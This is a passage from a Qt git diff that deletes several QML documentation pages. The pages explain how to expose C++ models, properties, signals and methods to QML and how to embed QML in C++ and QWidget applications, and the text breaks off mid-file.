diff options
184 files changed, 7453 insertions, 6779 deletions
diff --git a/src/qml/doc/src/bindings/c++models.qdoc b/src/qml/doc/src/bindings/c++models.qdoc deleted file mode 100644 index 3db813b857..0000000000 --- a/src/qml/doc/src/bindings/c++models.qdoc +++ /dev/null @@ -1,208 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -/*! -\page qml-c++models.qdoc -\title Exposing C++ Models -\brief exposing Qt C++ models to the runtime - -Models can be defined in C++ and then made available to QML. This is useful -for exposing existing C++ data models or otherwise complex datasets to QML. - -A C++ model class can be defined as a \l QStringList, a \l QList<QObject*> or a -\l QAbstractItemModel. The first two are useful for exposing simpler datasets, -while QAbstractItemModel provides a more flexible solution for more complex -models. - - -\section1 QStringList-based Model - - A model may be a simple \l QStringList, which provides the contents of the list - via the \e modelData role. - - Here is a ListView with a delegate that references its model item's - value using the \c modelData role: - - \snippet examples/quick/modelviews/stringlistmodel/view.qml 0 - - A Qt application can load this QML document and set the value of \c myModel - to a QStringList: - - \snippet examples/quick/modelviews/stringlistmodel/main.cpp 0 - - The complete example is available in Qt's \l {declarative/modelviews/stringlistmodel}{examples/quick/modelviews/stringlistmodel} directory. - - \b{Note:} There is no way for the view to know that the contents of a QStringList - have changed. If the QStringList changes, it will be necessary to reset - the model by calling QQmlContext::setContextProperty() again. - - -\section1 QObjectList-based model - - A list of QObject* values can also be used as a model. A QList<QObject*> provides - the properties of the objects in the list as roles. - - The following application creates a \c DataObject class that with - Q_PROPERTY values that will be accessible as named roles when a - QList<DataObject*> is exposed to QML: - - \snippet examples/quick/modelviews/objectlistmodel/dataobject.h 0 - \dots 4 - \snippet examples/quick/modelviews/objectlistmodel/dataobject.h 1 - \codeline - \snippet examples/quick/modelviews/objectlistmodel/main.cpp 0 - \dots - - The QObject* is available as the \c modelData property. As a convenience, - the properties of the object are also made available directly in the - delegate's context. Here, \c view.qml references the \c DataModel properties in - the ListView delegate: - - \snippet examples/quick/modelviews/objectlistmodel/view.qml 0 - - Note the use of the fully qualified access to the \c color property. - The properties of the object are not replicated in the \c model - object, since they are easily available via the \c modelData - object. - - The complete example is available in Qt's \l {declarative/modelviews/objectlistmodel}{examples/quick/modelviews/objectlistmodel} directory. - - Note: There is no way for the view to know that the contents of a QList - have changed. If the QList changes, it will be necessary to reset - the model by calling QQmlContext::setContextProperty() again. - - -\section1 QAbstractItemModel - - A model can be defined by subclassing QAbstractItemModel. This is the - best approach if you have a more complex model that cannot be supported - by the other approaches. A QAbstractItemModel can also automatically - notify a QML view when the model data has changed. - - The roles of a QAbstractItemModel subclass can be exposed to QML by calling - QAbstractItemModel::setRoleNames(). The default role names set by Qt are: - - \table - \header - \li Qt Role - \li QML Role Name - \row - \li Qt::DisplayRole - \li display - \row - \li Qt::DecorationRole - \li decoration - \endtable - - Here is an application with a QAbstractListModel subclass named \c AnimalModel - that has \e type and \e size roles. It calls QAbstractItemModel::setRoleNames() to set the - role names for accessing the properties via QML: - - \snippet examples/quick/modelviews/abstractitemmodel/model.h 0 - \dots - \snippet examples/quick/modelviews/abstractitemmodel/model.h 1 - \dots - \snippet examples/quick/modelviews/abstractitemmodel/model.h 2 - \codeline - \snippet examples/quick/modelviews/abstractitemmodel/model.cpp 0 - \codeline - \snippet examples/quick/modelviews/abstractitemmodel/main.cpp 0 - \dots - - This model is displayed by a ListView delegate that accesses the \e type and \e size - roles: - - \snippet examples/quick/modelviews/abstractitemmodel/view.qml 0 - - QML views are automatically updated when the model changes. Remember the model - must follow the standard rules for model changes and notify the view when - the model has changed by using QAbstractItemModel::dataChanged(), - QAbstractItemModel::beginInsertRows(), etc. See the \l {Model subclassing reference} for - more information. - - The complete example is available in Qt's \l {declarative/modelviews/abstractitemmodel}{examples/quick/modelviews/abstractitemmodel} directory. - - QAbstractItemModel presents a hierarchy of tables, but the views currently provided by QML - can only display list data. - In order to display child lists of a hierarchical model - the VisualDataModel element provides several properties and functions for use - with models of type QAbstractItemModel: - - \list - \li \e hasModelChildren role property to determine whether a node has child nodes. - \li \l VisualDataModel::rootIndex allows the root node to be specified - \li \l VisualDataModel::modelIndex() returns a QModelIndex which can be assigned to VisualDataModel::rootIndex - \li \l VisualDataModel::parentModelIndex() returns a QModelIndex which can be assigned to VisualDataModel::rootIndex - \endlist - -\section1 Exposing C++ Data Models to QML - -The above examples use QQmlContext::setContextProperty() to set -model values directly in QML components. An alternative to this is to -register the C++ model class as a QML type from a QML C++ plugin using -QQmlExtensionPlugin. This would allow the model classes to be -created directly as elements within QML: - -\table -\row - -\li -\code -class MyModelPlugin : public QQmlExtensionPlugin -{ -public: - void registerTypes(const char *uri) - { - qmlRegisterType<MyModel>(uri, 1, 0, - "MyModel"); - } -} - -Q_EXPORT_PLUGIN2(mymodelplugin, MyModelPlugin); -\endcode - -\li -\qml -MyModel { - id: myModel - ListElement { someProperty: "some value" } -} -\endqml - -\qml -ListView { - width: 200; height: 250 - model: myModel - delegate: Text { text: someProperty } -} -\endqml - -\endtable - -See \l {Tutorial: Writing QML extensions with C++} for details on writing QML C++ -plugins. - -*/ diff --git a/src/qml/doc/src/bindings/integrating.qdoc b/src/qml/doc/src/bindings/integrating.qdoc deleted file mode 100644 index 83dcaeae74..0000000000 --- a/src/qml/doc/src/bindings/integrating.qdoc +++ /dev/null @@ -1,108 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qml-integration.html -\ingroup qml-features -\title Integrating QML Code with Existing Qt UI Code -\brief applications with QML and Qt code - -There are a number of ways to integrate QML into QWidget-based UI applications, -depending on the characteristics of your existing UI code. - - -\section1 Integrating with a \l{QWidget}-based UI - -If you have an existing QWidget-based UI, QML widgets can be integrated into -it using QQuickView. QQuickView is a subclass of QWidget so you -can add it to your user interface like any other QWidget. Use -QQuickView::setSource() to load a QML file into the view, then add the -view to your UI: - -\code -QQuickView *qmlView = new QQuickView; -qmlView->setSource(QUrl::fromLocalFile("myqml.qml")); - -QWidget *widget = myExistingWidget(); -QVBoxLayout *layout = new QVBoxLayout(widget); -layout->addWidget(qmlView); -\endcode - -The one drawback to this approach is that QQuickView is slower to initialize -and uses more memory than a QWidget, and creating large numbers of QQuickView -objects may lead to performance degradation. If this is the case, it may be -better to rewrite your widgets in QML, and load the widgets from a main QML widget -instead of using QQuickView. - -Keep in mind that QWidgets were designed for a different type of user interface -than QML, so it is not always a good idea to port a QWidget-based application to -QML. QWidgets are a better choice if your UI is comprised of a small number of -complex and static elements, and QML is a better choice if your UI is comprised of a large number -of simple and dynamic elements. - - -\section1 Integrating with a QGraphicsView-based UI - -\section2 Adding QML widgets to a QGraphicsScene - -If you have an existing UI based on the \l{Graphics View Framework}, -you can integrate QML widgets directly into your QGraphicsScene. Use -QQmlComponent to create a QGraphicsObject from a QML file, and -place the graphics object into your scene using \l{QGraphicsScene::addItem()}, or -reparent it to an item already in the \l{QGraphicsScene}. - -For example: - -\code -QGraphicsScene* scene = myExistingGraphicsScene(); -QQmlEngine *engine = new QQmlEngine; -QQmlComponent component(engine, QUrl::fromLocalFile("myqml.qml")); -QGraphicsObject *object = - qobject_cast<QGraphicsObject *>(component.create()); -scene->addItem(object); -\endcode - -The following QGraphicsView options are recommended for optimal performance -of QML UIs: - -\list -\li QGraphicsView::setOptimizationFlags(QGraphicsView::DontSavePainterState) -\li QGraphicsView::setViewportUpdateMode(QGraphicsView::BoundingRectViewportUpdate) -\li QGraphicsScene::setItemIndexMethod(QGraphicsScene::NoIndex) -\endlist - -\section2 Loading QGraphicsWidget Objects in QML - -An alternative approach is to expose your existing QGraphicsWidget objects to -QML and construct your scene in QML instead. See the \l {declarative-cppextensions-qgraphicslayouts.html}{graphics layouts example} -which shows how to expose Qt's graphics layout classes to QML in order -to use QGraphicsWidget with classes like QGraphicsLinearLayout and QGraphicsGridLayout. - -To expose your existing QGraphicsWidget classes to QML, use \l {qmlRegisterType()}. -See \l{Extending QML with C++} for further information on how to use C++ types -in QML. -*/ diff --git a/src/qml/doc/src/bindings/properties-methods-signals.qdoc b/src/qml/doc/src/bindings/properties-methods-signals.qdoc deleted file mode 100644 index b88324e567..0000000000 --- a/src/qml/doc/src/bindings/properties-methods-signals.qdoc +++ /dev/null @@ -1,464 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -/*! -\page qml-properties-signals-methods.html -\title C++ Properties, Methods, and Signals in QML -\brief Exposing C++ properties, methods, and signals to QML -\target qml-expose-properties - -\section1 Exposing Qt C++ Properties - - The \l{The QML Engine}{QML engine} utilizes Qt's - \l{The Property System}{Property System} and in effect, QML - \l{Property Binding in QML}{property bindings} also use Qt properties. - - Essentially, a Qt C++ property has a \e write function, \e read function, - and has a signal function. QML properties are inheritely public, both - readable and writable, albeit type-safe. QML properties may also have - signals which are emitted when the property value or binding changes. - - The QML property equivalent of a Qt C++ property is created as a property - with the \l Q_PROPERTY() macro. There needs to be C++ functions assigned as - the property's read, write, and signal handler function. - - The \l {register-c++-type}{Register a Type} section mentions that the - \c Person class has properties that are exposed to the QML context. The QML - properties are created with the \c Q_PROPERTY macro. The macro associates - the properties to the read, write, and singal functions in its argument. - -\code -Q_PROPERTY(int size READ size WRITE setSize NOTIFY shoeChanged) -\endcode - - A \c Shoe class might have an integer property called \c size. We set the \c - size() function as the \c READ function and the \c setSize() function to be - the \c WRITE function. In a QML application, when a property is read, the \c - size() is called and when the property's binding changes, the \c setSize() - is called. The READ function, by definition, must return the same type as - the property. - - We may also connect a \l{signals and slots}{signal} to a property. The \c - size property may have a \c shoeChanged signal indicated after the \c NOTIFY - parameter of the macro. The \c shoeChanged becomes a \l{QML Signal and - Handler Event System}{QML signal} and the runtime will create QML handler - called \c onShoeChanged. Whenever the size property's binding changes, the - \c shoeChanged signal is emitted and the \c onShoeChanged handler is - invoked. In the handler, commands such as \l{JavaScript Expressions in - QML}{JavaScript expressions} can perform clean-up operations or call other - functions. - - \b{Note:} The QML signal handler will always be named - on<Property-name>Changed, regardless of the name used for the NOTIFY - signal in C++. We recommend using <property-name>Changed() for the - NOTIFY signal in C++. - - We may also make the property a \c read-only property by placing - \c CONSTANT in the parameter. Changing the binding will generate an error. -\code -//A read-only property -Q_PROPERTY(int size READ size CONSTANT) -\endcode - -\section2 Default Property - - When imported, QML components will bind their children to their designated - \l{default-property}{default property}. This is helpful, for example, - to redirect any declared child components to a property of another - component. - - The runtime can set a property to be the default property by tagging the - property with \c DefaultProperty in The Q_CLASSINFO() macro. - - \code - Q_CLASSINFO("DefaultProperty", "pipe") - \endcode - - The property tagged as default property, \c pipe, can only be an object - property, or a list property. - - A default property is optional. A derived class inherits its base class's - default property, but may override it in its own declaration. The \c pipe - property can refer to a property declared in the class itself, or a property - inherited from a base class. - - The \l{Extending QML - Default Property Example}{Default Property} example - uses \l{default-property}{default properties} to assign the children of - a component to a specific property. - - \section2 Grouped Properties - - A property group may be functionally defined as a set of related properties. - For example, the \l{Layouts with Anchors}{anchors} are a group of - related properties. In practice, property groups resemble a parent object - where the individual properties are accessed as children. - - A grouped property's member properties are accessed using the - <group>.<property> notation. For example, shoe.color is the way to access - the \c color property in the \c shoe property group . - - \snippet examples/qml/cppextensions/referenceexamples/grouped/example.qml ungrouped - - Alternatively, the group can be accessed as a set. - \snippet examples/qml/cppextensions/referenceexamples/grouped/example.qml grouped - - A grouped property block is implemented as a read-only object property. The - \c shoe property shown is declared like this: - - \snippet examples/qml/cppextensions/referenceexamples/grouped/person.h 1 - - The \c ShoeDescription type declares the properties available to the grouped - property block - in this case the \c size, \c color, \c brand and \c price properties. - - Grouped property blocks may declared and accessed be recusively. - - \l {Extending QML - Grouped Properties Example} shows the complete code used to - implement the \c shoe property grouping. - - \section2 Attached Properties - - Attached properties annotate or add properties to another type or component. - For example, the \l Keys \e{attaching type} contains \e{attached properties} - that other elements may use to respond to key input. Conceptually, attached - properties are a \e type exporting a set of additional properties that can - be set on any other object instance. - - The attaching type is a QObject derived type. The properties on the - attaching type are those that become available for use as attached - properties. - - \snippet examples/qml/cppextensions/referenceexamples/attached/example.qml 1 - - The \c BirthdayParty is called the attaching type and the - \c Boy instance the attachee object instance. The property \c rsvp is the - attached property. - - Any Qt C++ type can become an attaching type by declaring the \c - qmlAttachedProperties() a public member function and declaring that the - class has QML_HAS_ATTACHED_PROPERTIES. - - \code - static AttachedPropertiesType *qmlAttachedProperties(QObject *object); - \endcode - - This static pointer returns an attachment object, of type \a - AttachedPropertiesType, for the attachee \a object instance. It is - customary, though not strictly required, for the attachment object to be - parented to \a object to prevent memory leaks. - The \l {Extending QML - Attached Properties Example}{Birthday} - class has \c BirthdayPartyAttached attached properties. - - \snippet examples/qml/cppextensions/referenceexamples/attached/birthdayparty.h static attached - - The QML_DECLARE_TYPEINFO() macro can notify the runtime that the type has - attached properties with the QML_HAS_ATTACHED_PROPERTIES argument. - - \snippet examples/qml/cppextensions/referenceexamples/attached/birthdayparty.h declare attached - - The qmlAttachedProperties method will be called at most once for each - attachee object instance. The QML engine will cache the returned instance - pointer for subsequent attached property accesses. Consequently the - attachment object may not be deleted until \a object is destroyed. - - A common usage scenario is for a type to enhance the properties - available to its children in order to gather instance specific data. - - \snippet examples/qml/cppextensions/referenceexamples/attached/example.qml begin - \snippet examples/qml/cppextensions/referenceexamples/attached/example.qml rsvp - \snippet examples/qml/cppextensions/referenceexamples/attached/example.qml end - - However, as a QML type cannot limit the instances to which the attachment - object must attach, the following is also allowed, even though adding a - birthday party rsvp in this context will have no effect. Instead, \c - BirthdayParty could be a separate component with a property \c rsvp. - \code - GraduationParty { - Boy { BirthdayParty.rsvp: "2009-06-01" } - } - \endcode - - From C++, including the attaching type implementation, the attachment object - for an instance can be accessed using the following method: - - \code - template<typename T> - QObject *qmlAttachedPropertiesObject<T>(QObject *attachee, bool create = true); - \endcode - - This returns the attachment object attached to \a attachee by the attaching - type \a T. If type \a T is not a valid attaching type, this method always - returns 0. If \a create is true, a valid attachment object will always be - returned, creating it if it does not already exist. If \a create is false, - the attachment object will only be returned if it has previously been - created. - - The \c rsvp properties of each guest in the \c Birthday party is accessible - through the \c qmlAttachedPropertiesObject function. - - \snippet examples/qml/cppextensions/referenceexamples/attached/main.cpp query rsvp - - The - \l {Extending QML - Attached Properties Example}{Attached Properties Example} - demonstrates the creation of attached properties with a birthday party - scenario. - -\section2 Object and List Properties - - QML can set properties of types that are more complex than basic intrinsics like - integers and strings. Properties can also be object pointers, Qt interface - pointers, lists of object pointers, and lists of Qt interface pointers. As QML - is typesafe it ensures that only valid types are assigned to these properties, - just like it does for primitive types. - - Properties that are pointers to objects or Qt interfaces are declared with the - Q_PROPERTY() macro, just like other properties. The \c host property - declaration looks like this: - - \snippet examples/qml/cppextensions/referenceexamples/properties/birthdayparty.h 1 - - As long as the property type, in this case \c Person, is registered with QML the - property can be assigned. - - QML also supports assigning Qt interfaces. To assign to a property whose type - is a Qt interface pointer, the interface must also be registered with QML. As - they cannot be instantiated directly, registering a Qt interface is different - from registering a new QML type. The following function is used instead: - - \code - template<typename T> - int qmlRegisterInterface(const char *typeName) - \endcode - - \c qmlRegisterInterface registers the C++ interface \a T with the QML system - as \a typeName. - - Following registration, QML can coerce objects that implement this interface - for assignment to appropriately typed properties. - - - \snippet examples/qml/cppextensions/referenceexamples/properties/example.qml 0 - - The \c guests property is a \e{list property} of \c Person objects. A list - of \c Person objects are bound to the \c BirthdayParty's \c host property, - and assigns three \c Person objects to the guests property. - - Properties that are lists of objects or Qt interfaces are also declared with - the Q_PROPERTY() macro. However, list properties must have the type - \l{QQmlListProperty}{QQmlListProperty<T>}. - - \snippet examples/qml/cppextensions/referenceexamples/properties/birthdayparty.h 2 - - As with the other property types, the type of list content, \a T, must be - \l{register-c++-type}{registered} into the runtime. - - \snippet examples/qml/cppextensions/referenceexamples/properties/main.cpp register list - - \l {Extending QML - Object and List Property Types Example} shows the - complete code used to create the \c BirthdayParty type. For more - information, visit \l{QQmlListProperty}{QQmlListProperty<T>} - for creating list properties. - -\section2 Sequence Types - - Certain C++ sequence types are supported transparently in QML as JavaScript - Array types. - In particular, QML currently supports: - \list - \li \c {QList<int>} - \li \c {QList<qreal>} - \li \c {QList<bool>} - \li \c {QList<QString>} and \c{QStringList} - \li \c {QList<QUrl>} - \endlist - - These sequence types are implemented directly in terms of the underlying C++ - sequence. There are two ways in which such sequences can be exposed to QML: - as a Q_PROPERTY of the given sequence type; or as the return type of a - Q_INVOKABLE method. There are some differences in the way these are - implemented, which are important to note. - - If the sequence is exposed as a Q_PROPERTY, accessing any value in the - sequence by index will cause the sequence data to be read from the QObject's - property, then a read to occur. Similarly, modifying any value in the - sequence will cause the sequence data to be read, and then the modification - will be performed and the modified sequence will be written back to the - QObject's property. - - If the sequence is returned from a Q_INVOKABLE function, access and mutation - is much cheaper, as no QObject property read or write occurs; instead, the - C++ sequence data is accessed and modified directly. - - Other sequence types are not supported transparently, and instead an - instance of any other sequence type will be passed between QML and C++ as an - opaque QVariantList. - - \b {Important Note:} There are some minor differences between the - semantics of such sequence Array types and default JavaScript Array types - which result from the use of a C++ storage type in the implementation. In - particular, deleting an element from an Array will result in a - default-constructed value replacing that element, rather than an Undefined - value. Similarly, setting the length property of the Array to a value larger - than its current value will result in the Array being padded out to the - specified length with default-constructed elements rather than Undefined - elements. Finally, the Qt container classes support signed (rather than - unsigned) integer indexes; thus, attempting to access any index greater - than INT_MAX will fail. - - The default-constructed values for each sequence type are as follows: - \table - \row \li QList<int> \li integer value 0 - \row \li QList<qreal> \li real value 0.0 - \row \li QList<bool> \li boolean value \c {false} - \row \li QList<QString> and QStringList \li empty QString - \row \li QList<QUrl> \li empty QUrl - \endtable - - If you wish to remove elements from a sequence rather than simply replace - them with default constructed values, do not use the indexed delete operator - ("delete sequence[i]") but instead use the \c {splice} function - ("sequence.splice(startIndex, deleteCount)"). - - -\section2 Property Signals - - All properties on custom types automatically support property binding. - However, for binding to work correctly, QML must be able to reliably - determine when a property has changed so that it knows to reevaluate any - bindings that depend on the property's value. QML relies on the presence of - a \l {Qt's Property System}{NOTIFY signal} for this determination. - - Here is the \c host property declaration: - - \snippet examples/qml/cppextensions/referenceexamples/binding/birthdayparty.h 0 - - The NOTIFY attribute is followed by a signal name. It is the responsibility - of the class implementer to ensure that whenever the property's value - changes, the NOTIFY signal is emitted. The signature of the NOTIFY signal is - not important to QML. - - To prevent loops or excessive evaluation, developers should ensure that the - signal is only emitted whenever the property's value is actually changed. If - a property, or group of properties, is infrequently used it is permitted to - use the same NOTIFY signal for several properties. This should be done with - care to ensure that performance doesn't suffer. - - To keep QML reliable, if a property does not have a NOTIFY signal, it cannot - be used in a binding expression. However, the property can still be assigned - a binding as QML does not need to monitor the property for change in that - scenario. - - Consider a custom type, \c TestElement, that has two properties, \c a and - \c b. Property \c a does \e not have a NOTIFY signal, and property \c b does - have a NOTIFY signal. - - \code - TestElement { - // This is OK - a: b - } - TestElement { - // Will NOT work - b: a - } - \endcode - - The presence of a NOTIFY signal does incur a small overhead. There are cases - where a property's value is set at object construction time, and does not - subsequently change. The most common case of this is when a type uses \l - {Grouped Properties}, and the grouped property object is allocated once, and - only freed when the object is deleted. In these cases, the CONSTANT - attribute may be added to the property declaration instead of a NOTIFY - signal. - - \snippet examples/qml/cppextensions/referenceexamples/binding/person.h 0 - - Extreme care must be taken here or applications using your type may misbehave. - The CONSTANT attribute should only be used for properties whose value is set, - and finalized, only in the class constructor. All other properties that want - to be used in bindings should have a NOTIFY signal instead. - - \l {Extending QML - Binding Example} shows the BirthdayParty example updated to - include NOTIFY signals for use in binding. - -\section1 Signals Support - - A \l{signals and slots}{signal} in Qt C++ is readily available as a - \l{QML Signal and Handler Event System}{QML signal}. A signal will have - a corresponding signal \e{handler}, created automatically. The handler - name will have \c on prepended at the beginning of the name. The first - character of the signal is uppercased for the signal handler. The - signal parameter is also availabe to the QML signal. - - \snippet examples/qml/cppextensions/referenceexamples/signal/birthdayparty.h 0 - The QML engine will create a handler for the \c partyStarted signal - called \c onPartyStarted. - \snippet examples/qml/cppextensions/referenceexamples/signal/example.qml 0 - - Classes may have multiple signals with the same name, but only the final - signal is accessible as a QML signal. Note that signals with the same name - but different parameters cannot be distinguished from one another. - - Signal parameters are exposed and can be any one of the QML - \l{QML Basic Types}{basic types} as well registered object types. Accessing - unregistered types will not generate an error, but the parameter value will - not be accessible from the handler. - - To use signals from items not created in QML, access their signals with the - \l {Connections} element. - - Additionally, if a property is added to a C++ class, all QML elements - based on that C++ class will have a \e{value-changed} signal handler - for that property. The name of the signal handler is - \e{on<Property-name>Changed}, with the first letter of the property - name being upper case. - - The \l {Extending QML - Signal Support Example}{Signal Support Example} - shows an example application exposing signals to a QML component. - -\section1 Exposing Methods - - The Q_INVOKABLE macro exposes any Qt C++ method as a QML method. - - \snippet examples/qml/cppextensions/referenceexamples/methods/birthdayparty.h 0 - - In a QML file, we can invoke the method as we would a - \l{JavaScript Expressions in QML}{JavaScript expression}. - \snippet examples/qml/cppextensions/referenceexamples/methods/example.qml 0 - - \l {Extending QML - Methods Example}{Methods example} uses the Q_INVOKABLE - method to expose methods and demonstrates some usages of the method in - an application. - - An alternative to the Q_INVOKABLE macro is to declare the C++ method as a - \l{signals and slot}{slot}. - - \code - slots: - void invite(const QString &name); - \endcode - - -*/ diff --git a/src/qml/doc/src/bindings/qmlbindings.qdoc b/src/qml/doc/src/bindings/qmlbindings.qdoc deleted file mode 100644 index 89607d10da..0000000000 --- a/src/qml/doc/src/bindings/qmlbindings.qdoc +++ /dev/null @@ -1,70 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qml-ctypes-in-qml.html -\title C++ in QML Applications -\brief For employing C++ types and data in QML applications - -To add functionality that is beyond QML and modules, C++ types are registered to -the runtime as plugins. For example, to add a full network manager into -QML, classes that utilize Qt Network classes may be registered into the runtime -and loaded as a QML type. - -Additional C++ types are also available in applications through this mechanism. - -\section1 C++ Types as QML Types - -The QML engine can instantiate any Qt C++ construct such as properties, -functions, and data models into the QML context allowing the constructs to be -accessible from within QML. - - \list - \li \l{C++ Types as QML Types} - \li \l{C++ Properties, Methods, and Signals in QML} - \endlist - -\section1 Registering a Plugin -The QML engine can run Qt C++ applications by registering types into the runtime -and by loading C++ code as plugins. Plugins are imported and labeled as modules -and its content are available as types. - - To write a QML extension plugin: - \list 1 - \li Subclass QDeclarativeExtensionPlugin - \li Implement QDeclarativeExtensionPlugin's registerTypes() method - \li Register types with qmlRegisterType() - \li Export the class using the Q_EXPORT_PLUGIN2() macro - \li Write a project file for the plugin - \li Add the files to the project - \endlist - - The QML Plugins page details the process using example code. - \list - \li \l{QML Plugins} - \endlist -*/ diff --git a/src/qml/doc/src/bindings/qtbinding.qdoc b/src/qml/doc/src/bindings/qtbinding.qdoc deleted file mode 100644 index f5a4feeec6..0000000000 --- a/src/qml/doc/src/bindings/qtbinding.qdoc +++ /dev/null @@ -1,667 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qtbinding.html -\ingroup qml-features -\title Using QML Bindings in C++ Applications -\brief incorporating QML bindings in Qt C++ applications - -QML is designed to be easily extensible to and from C++. The classes in the -Qt Declarative module allow QML components to be loaded and manipulated from C++, and through -Qt's \l{The Meta-Object System}{meta-object system}, QML and C++ objects can easily -communicate through Qt signals and slots. In addition, QML plugins can be written to create -reusable QML components for distribution. - -You may want to mix QML and C++ for a number of reasons. For example: - -\list -\li To use functionality defined in a C++ source (for example, when using a C++ Qt-based data model, or -calling functions in a third-party C++ library) -\li To access functionality in the Qt Declarative module (for example, to dynamically generate -images using QQuickImageProvider) -\li To write your own QML elements (whether for your applications, or for distribution to others) -\endlist - -To use the Qt Declarative module, you must include and link to the module appropriately, as shown on -the \l {QtQml}{module index page}. The \l {Qt Declarative UI Runtime} documentation -shows how to build a basic C++ application that uses this module. - - -\section1 Core module classes - -The Qt Declarative module provides a set of C++ APIs for extending your QML applications from C++ and -embedding QML into C++ applications. There are several core classes in the Qt Declarative module -that provide the essential capabilities for doing this. These are: - -\list -\li QQmlEngine: A QML engine provides the environment for executing QML code. Every -application requires at least one engine instance. -\li QQmlComponent: A component encapsulates a \l{QML Documents}{QML document}. -\li QQmlContext: A context allows an application to expose data to the QML components -created by an engine. -\endlist - -A QQmlEngine allows the configuration of global settings that apply to all of its QML -component instances: for example, the QNetworkAccessManager to be used for network communications, -and the file path to be used for persistent storage. - -QQmlComponent is used to load QML documents. Each QQmlComponent instance represents -a single document. A component can be created from the URL or file path of a QML document, or the raw -QML code of the document. Component instances are instatiated through the -QQmlComponent::create() method, like this: - -\code -QQmlEngine engine; -QQmlComponent component(&engine, QUrl::fromLocalFile("MyRectangle.qml")); -QObject *rectangleInstance = component.create(); - -// ... -delete rectangleInstance; -\endcode - -QML documents can also be loaded using QQuickView. This class provides a convenient -QWidget-based view for embedding QML components into QGraphicsView-based applications. (For other -methods of integrating QML into QWidget-based applications, see \l {Integrating QML Code with existing Qt -UI code}.) - - -\section1 Approaches to using QML with C++ - -There are a number of ways to extend your QML application through C++. For example, you could: - -\list -\li Load a QML component and manipulate it (or its children) from C++ -\li Embed a C++ object and its properties directly into a QML component (for example, to make a -particular C++ object callable from QML, or to replace a dummy list model with a real data set) -\li Define new QML elements (through QObject-based C++ classes) and create them directly from your -QML code -\endlist - -These methods are shown below. Naturally these approaches are not exclusive; you can mix any of -these methods throughout your application as appropriate. - - -\section2 Loading QML Components from C++ - -A QML document can be loaded with QQmlComponent or QQuickView. QQmlComponent -loads a QML component as a C++ object; QQuickView also does this, -but additionally loads the QML component directly into a QGraphicsView. It is convenient for loading -a displayable QML component into a QWidget-based application. - -For example, suppose there is a \c MyItem.qml file that looks like this: - -\snippet qml/qtbinding/loading/MyItem.qml start -\snippet qml/qtbinding/loading/MyItem.qml end - -This QML document can be loaded with QQmlComponent or QQuickView with the following -C++ code. Using a QQmlComponent requires calling QQmlComponent::create() to create -a new instance of the component, while a QQuickView automatically creates an instance of the -component, which is accessible via QQuickView::rootObject(): - -\table -\row -\li -\snippet qml/qtbinding/loading/main.cpp QQmlComponent-a -\dots 0 -\snippet qml/qtbinding/loading/main.cpp QQmlComponent-b -\li -\snippet qml/qtbinding/loading/main.cpp QQuickView -\endtable - -This \c object is the instance of the \c MyItem.qml component that has been created. You can now -modify the item's properties using QObject::setProperty() or QQmlProperty: - -\snippet qml/qtbinding/loading/main.cpp properties - -Alternatively, you can cast the object to its actual type and call functions with compile-time -safety. In this case the base object of \c MyItem.qml is an \l Item, which is defined by the -QQuickItem class: - -\snippet qml/qtbinding/loading/main.cpp cast - -You can also connect to any signals or call functions defined in the component using -QMetaObject::invokeMethod() and QObject::connect(). See \l {Exchanging data between QML and C++} -below for further details. - -\section3 Locating child objects - -QML components are essentially object trees with children that have siblings and their own children. -Child objects of QML components can be located using the QObject::objectName property with -QObject::findChild(). For example, if the root item in \c MyItem.qml had a child \l Rectangle item: - -\snippet qml/qtbinding/loading/MyItem.qml start -\codeline -\snippet qml/qtbinding/loading/MyItem.qml child -\snippet qml/qtbinding/loading/MyItem.qml end - -The child could be located like this: - -\snippet 